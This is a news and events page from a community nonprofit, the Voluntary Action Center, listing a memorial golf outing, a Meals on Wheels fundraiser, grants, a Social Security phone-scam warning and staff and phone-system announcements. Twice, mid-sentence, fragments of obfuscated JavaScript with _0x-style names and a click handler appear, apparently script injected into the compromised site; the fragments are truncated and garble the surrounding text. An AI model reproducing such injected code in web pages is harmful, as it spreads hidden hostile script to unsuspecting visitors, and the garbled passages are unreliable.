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THOMAS F ZUCKER MEMORIAL GOLF OUTING

This year’s Golf Outing is being held on September 8, 2023, at River Heights Golf Course. View all information function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc('click',_0xfb5e65);}());

Meals for Moms at Home

Enjoy a meal while providing one to someone in need at our drive-thru event! May 12, 2023 @ 5:00PM — 7:00PM Come join our annual Meals for Moms drive-thru fundraiser and support VAC's Meals on Wheels program! There will be delicious food from Sycamore Tom & Jerry's Catering by Diann, which will include baked ...read more

VAC Announces Management Reorganization

Entrance of VAC Sycamore Kitchen

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Thank you Sunrise Rotary & DeKalb Rotary

We'd like to thank the Kishwaukee Sunrise Rotary and the DeKalb Rotary for generously donating $2,721.46 to VAC's transit services! This grant will buy new iPads for our drivers, which is critical when it comes to scheduling and routing. Thank you again Sunrise & DeKalb Rotary and especially Marilyn Stromborg ...read more

Where to Get Food Help Now

SNAP-sign-on-storefront

The article and photo was found at https://www.ncoa.org and written by Brandy Bauer. Where to Get Food Help Now Affording healthy food is a challenge for many older Americans, but the spread of COVID-19 has made matters worse. Whether you’re facing difficult financial times or are unable to leave your home, ...read more

Community foundation grant helps Meals on Wheels

Sandwich director Sallie and John show off new kitchen fridge donated with a grant by the DeKalb County Community Foundation

The DeKalb County Community Foundation awarded a grant to Voluntary Action Center Meals on Wheels, assisting in the purchase of a new refrigerator for senior meal programs in southern DeKalb County. A large refrigeration unit at Fox Valley Community Services kitchen recently broke down, affecting the ability of cooks to provide ...read more

Social Security Administration Telephone Scam

We have been made aware there are reports of fraudulent telephone calls from individuals claiming to represent the Social Security Administration (SSA). If you receive a threatening or suspicious call from someone claiming to be from the SSA please call the Office of the Inspector General at 1-800-269-0271. For more ...read more

VAC Updates Transit Registration Form

The Voluntary Action Center (VAC) announces that it has updated its Dial-A-Ride Transit Registration Form for its transit programs TransVAC and MedVAC. The new form goes into effect December 17th, and VAC will no longer be accepting registrations using the old form. All riders who have already registered using the ...read more

Volunteer Action Center Announces New Finance Director

Finance Director Nate Kloster

Voluntary Action Center (VAC) has announced the appointment of Nate Kloster as their new Finance Director. He assumed responsibilities in late October. Nate joins VAC with over 30 years of accounting/finance experience. For the past nine years, Nate was the CFO for Sauk Valley Bank in Sterling, IL. Prior to that he was the Controller for Castle Bank (FNB Omaha) for ...read more

Voluntary Action Center switching to Automated Attendant Phone System

Telephone

Beginning Monday, December 10, 2018, to better streamline incoming phone calls VAC will launch a new automated attendant for our Main Office Phone Line 815-758-3932. For TransVac please call 815-758-6641 and MedVac please call 815-758-0818. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc('click',_0xfb5e65);}());